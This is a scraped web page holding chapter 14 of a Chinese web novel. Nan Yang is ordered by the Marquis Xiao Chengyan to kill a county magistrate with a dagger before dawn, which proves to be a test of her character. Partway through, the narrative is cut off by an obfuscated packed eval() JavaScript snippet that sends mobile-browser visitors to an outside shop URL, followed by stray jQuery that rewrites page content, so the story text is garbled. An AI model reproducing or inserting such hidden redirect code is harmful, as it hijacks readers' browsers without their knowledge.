14.第 14 章

作品:《谁也不能阻止我躺平

    身后的脚步声踱到面前。


    谁有心情偷看活阎王?南泱抱膝低头看地。


    淮阳侯的情绪捉摸不定,刚刚还显露出愉悦,转眼声线又开始发冷。


    只见一双黑皮厚底长靴停在面前,长靴主人居高临下问:“还有什么想说的?”


    南泱什么也不想说。


    匆忙奔走十几天,路上吃不少辛苦,最后还是被堵在距离京畿不远的半道上。


    如果路上不休息,日夜兼程赶路,小车会不会已安然入了京城?


    但回京的日子又好到哪里去?


    日复一日关在卫家内宅,抬头只有四四方方的天空,眼前晃来晃去那几张面孔,跟死了有什么区别?


    活着没多大意思,死也就无甚可怕的。


    想到这里人顿时又平和了……


    南泱心平气和地商量, “阿姆不识字的。饶过阿姆罢。”


    不远处的阿姆激动起来,竟然和持刀将士推搡,意图冲上来护她。几个将士把人挟走,砰一声闷响,又不知扔去哪了。


    “就这句?不给你自己求饶?”


    求饶有用么?南泱心想,你看起来就像越求饶杀得越兴奋的那种阎王……


    她还没想好要不要把平安镇水边的事捅出来。


    人抱膝蹲着,慢吞吞地问:“萧侯,你为什么要在平安镇寻十五岁到二十五岁的小娘子?”


    萧承宴悠然踱开两步。


    “当然为了吃少女肉。毕竟,本侯‘惨酷极恶’,‘古之禽兽’见了本侯都要拜下风。”


    南泱:“……”


    还是别说了,直接等死吧。


    她把下巴搭在膝盖上,不吭声了。


    但面前的活阎王不知在沉吟什么,一圈圈绕着她走。身前土地很快出现几圈脚印。


    脚步再度停在面前时,话锋一转,重新现出愉悦尾音:


    “卫二娘子今晚不吵不闹,表现乖巧。比起伶俐人,本侯还是更喜欢乖巧的。”


    “这样罢,给你个活路。”


    当啷,一把精光四射的匕首扔在南泱面前。


    阴影从上方压迫下来,视野里猝不及防出现男人俯下的精壮身躯,窄而有力的腰。腰间悬挂的长刀在她面前摇晃。


    南泱想也不想地一闭眼。


    活着够不容易了,她可不想看阎王的脸!


    下巴又被捏住抬起,对方借着灯光,近距离观察她的表情。


    看完扔开,长靴走开两步,压迫俯视的感觉消散了。


    “装乖救不了你。想保自己的命,拿起匕首。”


    脚步绕半圈,这回在背后停步,对方森然吐出今晚最后一句:


    “天明之前,只要杨县令死——你们主仆就能活。”


    ——


    头顶一轮弯月缓慢移动。


    二更天了。


    将士们三三两两走远,休息的休息,守卫的守卫。


    南泱抓着匕首,无言地坐在地上。


    阿姆表情复杂坐在身边。


    杨县令面色凝重坐在对面。


    “今晚是个死局。”杨县令缓缓开口。


    “卫二娘子,你真的杀了我,淮阳侯也不见得会守诺放你们离开。如果你不动手,正好给他动手的借口。明早天明,只怕我们一个都活不成。”


    “不如……”目光落在锋利匕首上。


    杨县令下定决心,“等四更天。凌晨睡意最浓时,我冲上去与他们厮杀。卫家乳母持匕首断后。卫二娘子,你赶紧离开。能跑多远是多远,趁夜色躲藏起来。我们当中或许能活一个。”


    阿姆即刻赞同,自告奋勇掩护二娘子逃走。


    只有南泱摇头。


    “跑不掉的。”她实诚道:“赶车十几天的路程都能被他们追上来。他们追踪的本领很强,我和阿姆两个人四只脚能跑多远?”


    南泱把匕首递给阿姆,“不如我断后,阿姆,你跑吧。我们当中最可能活下去的就是你了。”


    阿姆泣不成声。


    杨县令警惕地环顾周围将士,以极低的气声道:“别气馁。有办法逃。你们只管往后跑——陆太守领兵跟来了。”


    阿姆的低泣声顿时停住。


    又惊又喜,感觉绝处逢生,“当真?!山阳郡的陆太守?当真一路跟来了?”


    杨县令肃然道:“绝无虚假。山阳郡亦有轻骑兵力,两边间隔应该不超过一日路程。你们只要活着遇到陆太守,就能得救。”


    在阿姆不住的问询和杨县令的低声保证里,头顶月色挪动,两刻钟过去。


    二更两刻,距离凌晨又近两刻钟……


    南泱安详地躺下了。


    握着匕首,呼吸均匀,蜷着侧睡下去,不知何时陷入了梦乡。


    杨县令:“……”


    这种局面也能睡得着?不正在商量生死攸关的大事吗?!


    阿姆怜爱地解下外裳,盖在南泱身上,“让她睡吧。累坏了。”


    杨县令瞳孔剧颤。


    ……不叫醒??


    另一边。


    明文焕亦步亦趋跟随主上。


    今夜的事影响不小。他觉得,拎着脑袋也得劝一劝。


    明文焕委婉地劝告:“萧侯,杨县令虽说只有七品官职,毕竟是一县之令长。把人从平安镇掳来还能解释,如果他死于今夜,杀害官员的罪名不轻,必定引来朝廷追查。天子病危的关键时刻,政局不稳……萧侯慎重啊。”


    萧承宴回应得极为散漫随意。


    “杨县令死于今夜,死因是卫家女持匕首杀人。人证物证俱在,卫二娘既然杀了人,叫她偿命便是。”


    明文焕大惊,全死局?!他没忍住想多了。


    “永兴伯卫氏,与萧侯有仇怨?”


    “无。卫二娘运气不好,撞上本侯而已。”


    琉璃灯已熄灭。萧承宴牵马在旷野闲走,月色清亮如水,映出唇边细微的嘲讽弧度。


    “不是喜欢卖傻装乖么?赌上她自己的性命,看她真乖巧,还是装乖巧。”


    明文焕追上急问,“如果卫二娘子宁可自己死也不肯动手杀人……萧侯打算如何


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147748|196312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    处置卫家主仆和杨县令?”


    萧承宴不回头地吩咐:“去两个人,把马车查修一下。”


    明文焕高高悬起的心顿时安稳落回肚皮。


    萧侯麾下都习惯了快马,除非受伤,没一个肯坐车的。


    连夜查修马车,显然是预备着明天给卫二娘主仆和杨县令这些不骑马的人用了。


    原来萧侯今晚布置的所谓全死局,只是突然兴起,试探人心。


    如果卫二娘子坚决不肯动手杀人,反倒打开了生门……


    明文焕脸上露出放松释然的笑意。


    他见好就收,准备告辞:“夜深了,萧侯早点休息。臣属也——”


    “慢着。”萧承宴走在前方,闲聊般提起:


    “明先生最近劝谏的次数不少。上次劝我不烧山,这次又劝我不杀朝廷命官。公心多一些,还是私心多一些?”


    明文焕一愣,送命题?


    萧承宴悠然牵马慢走,夜风里抛出第二个问题。


    “明先生慌张了。分明畏惧本侯,却又冒着风险煞费心思出言劝谏。劝谏的意图,为了挽救本候声誉?为了地方百姓福祉?可怜小女子性命?还是为了明先生自己的将来打算?”


    明文焕:“……”好好好,第二个送命题又来了。


    荒郊野外的,萧侯身上正好带刀,答错了直接拔刀把他砍了,扔山沟一埋完事。


    能长久跟随萧承宴的辅臣,当然都有两把刷子。


    明文焕嘴角抽搐几下,直言不讳。


    “萧侯当初强留下臣属的时候,说好只做个随军郎中,只负责治伤病的呢?”


    “后来怎么一摊摊的破事都往臣属身上堆?臣属怎么就成了萧侯的谋臣了?臣属压根不想做谋臣啊!”


    萧承宴停步大笑起来。


    回身拱手告罪,“委屈明先生了,回去歇着吧。”噙着笑继续牵马散步。


    明文焕一横心,从身后高喊:“萧侯听我一言,救下萧侯的恩人小娘子,一定要好好对待!卫家二娘和杨县令并无犯下死罪,也杀不得!”


    萧承宴往身后摆摆手。


    ——


    天色亮了。


    南泱一觉睡醒起身,初秋天气早晚凉爽,只觉得神清气足,倦怠一扫而空。


    阿姆坐在身侧,担忧又宽慰地望着她。


    杨县令坐在对面,面无表情地瞪着她。


    南泱欣慰地把外衫还给阿姆。


    太好了。一觉睡起来大家都还活着,可喜可贺。


    手刚刚动了动,啪嗒,一把寒光四射的匕首滑落地上。


    匕首落地的清脆声响,仿佛某个信号,又仿佛敲响了两军对战的鼓点。几个健壮亲兵提刀杀气腾腾走近。


    阿姆和杨县令的脖子上又多出两把冰凉钢刀。


    “天色已亮。卫二娘子,你想好了?”


    为首的将士冷冷提醒:“杨县令不死,你们卫家主仆就要下地府了。”


    南泱:“……”一觉睡醒,这事怎么还没过去呢。


    杨县令:“……”